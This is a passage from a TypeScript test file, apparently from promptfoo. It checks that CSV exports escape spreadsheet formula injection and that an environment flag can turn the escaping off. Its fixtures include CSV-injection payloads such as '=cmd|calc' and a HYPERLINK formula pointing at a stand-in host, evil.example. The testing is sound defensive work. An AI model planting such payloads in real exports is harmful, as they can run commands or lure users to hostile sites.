expect(dataRow[commentIdx]).toBe('plain comment');
|
|
});
|
|
|
|
it('leaves cells raw when PROMPTFOO_DISABLE_CSV_FORMULA_ESCAPING is set', () => {
|
|
vi.stubEnv('PROMPTFOO_DISABLE_CSV_FORMULA_ESCAPING', 'true');
|
|
try {
|
|
const [, dataRow] = parseCsv(evalTableToCsv(buildFormulaTable())) as string[][];
|
|
expect(dataRow[1]).toBe('=cmd|calc');
|
|
expect(dataRow[2]).toBe('=HYPERLINK("http://evil.example","click")');
|
|
} finally {
|
|
vi.unstubAllEnvs();
|
|
}
|
|
});
|
|
|
|
it('uses the evaluation config env before process.env', () => {
|
|
vi.stubEnv('PROMPTFOO_DISABLE_CSV_FORMULA_ESCAPING', 'true');
|
|
try {
|
|
const [, dataRow] = parseCsv(
|
|
evalTableToCsv(buildFormulaTable(), {
|
|
env: { PROMPTFOO_DISABLE_CSV_FORMULA_ESCAPING: 'false' },
|
|
}),
|
|
) as string[][];
|
|
|
|
expect(dataRow[1]).toBe("'=cmd|calc");
|
|
expect(dataRow[2]).toBe('\'=HYPERLINK("http://evil.example","click")');
|
|
} finally {
|
|
vi.unstubAllEnvs();
|
|
}
|
|
});
|
|
|
|
it('uses config.env for full-table evaluation exports', async () => {
|
|
const csv = await generateEvalCsv({
|
|
config: { env: { PROMPTFOO_DISABLE_CSV_FORMULA_ESCAPING: 'true' } },
|
|
getTablePage: vi.fn().mockResolvedValue(buildFormulaTable()),
|
|
} as unknown as Eval);
|
|
const [, dataRow] = parseCsv(csv) as string[][];
|
|
|
|
expect(dataRow[1]).toBe('=cmd|calc');
|
|
expect(dataRow[2]).toBe('=HYPERLINK("http://evil.example","click")');
|
|
});
|
|
|
|
it('uses config.env for streaming evaluation exports', async () => {
|
|
const mockEval = {
|
|
config: { env: { PROMPTFOO_DISABLE_CSV_FORMULA_ESCAPING: 'true' } },
|
|
vars: ['input'],
|
|
prompts: [createCompletedPrompt('{{input}}', { provider: 'echo', label: 'Prompt 1' })],
|
|
fetchResultsBatched: async function* () {
|
|
yield [
|
|
{
|
|
testIdx: 0,
|
|
promptIdx: 0,
|
|
testCase: { vars: { input: '=cmd|calc' }, description: '=danger' },
|
|
response: { output: '=HYPERLINK("http://evil.example","click")' },
|
|
success: false,
|
|
score: 0,
|
|
namedScores: {},
|
|
failureReason: ResultFailureReason.ASSERT,
|
|
gradingResult: { pass: false, reason: '@SUM(A1)', comment: 'plain comment' },
|
|
metadata: {},
|
|
},
|
|
];
|
|
},
|
|
} as unknown as Eval;
|
|
const chunks: string[] = [];
|
|
|
|
await streamEvalCsv(mockEval, {
|
|
write: (data) => {
|
|
chunks.push(data);
|
|
},
|
|
});
|
|
const [, dataRow] = parseCsv(chunks.join('')) as string[][];
|
|
|
|
expect(dataRow[1]).toBe('=cmd|calc');
|
|
expect(dataRow[2]).toBe('=HYPERLINK("http://evil.example","click")');
|
|
});
|
|
|
|
it('escapes formula triggers in header cells (var name and bare prompt label)', () => {
|
|
// A var named "=evil" and a provider-less prompt label "=cmd()" both land in the
|
|
// header row; the csvStringify-boundary escaping must cover headers, not just body.
|
|
const table = {
|
|
head: {
|
|
vars: ['=evilVar'],
|
|
prompts: [createCompletedPrompt('{{x}}', { provider: '', label: '=cmd()' })],
|
|
},
|
|
body: [
|
|
{
|
|
test: { vars: { '=evilVar': 'v' }, description: 'd' },
|
|
testIdx: 0,
|
|
vars: ['v'],
|
|
outputs: [{ pass: true, text: 'ok' } as EvaluateTableOutput],
|
|
},
|
|
],
|
|
};
|
|
|
|
const [headerRow] = parseCsv(evalTableToCsv(table)) as string[][];
|
|
expect(headerRow).toContain("'=evilVar");
|
|
expect(headerRow).toContain("'=cmd()");
|
|
});
|
|
});
|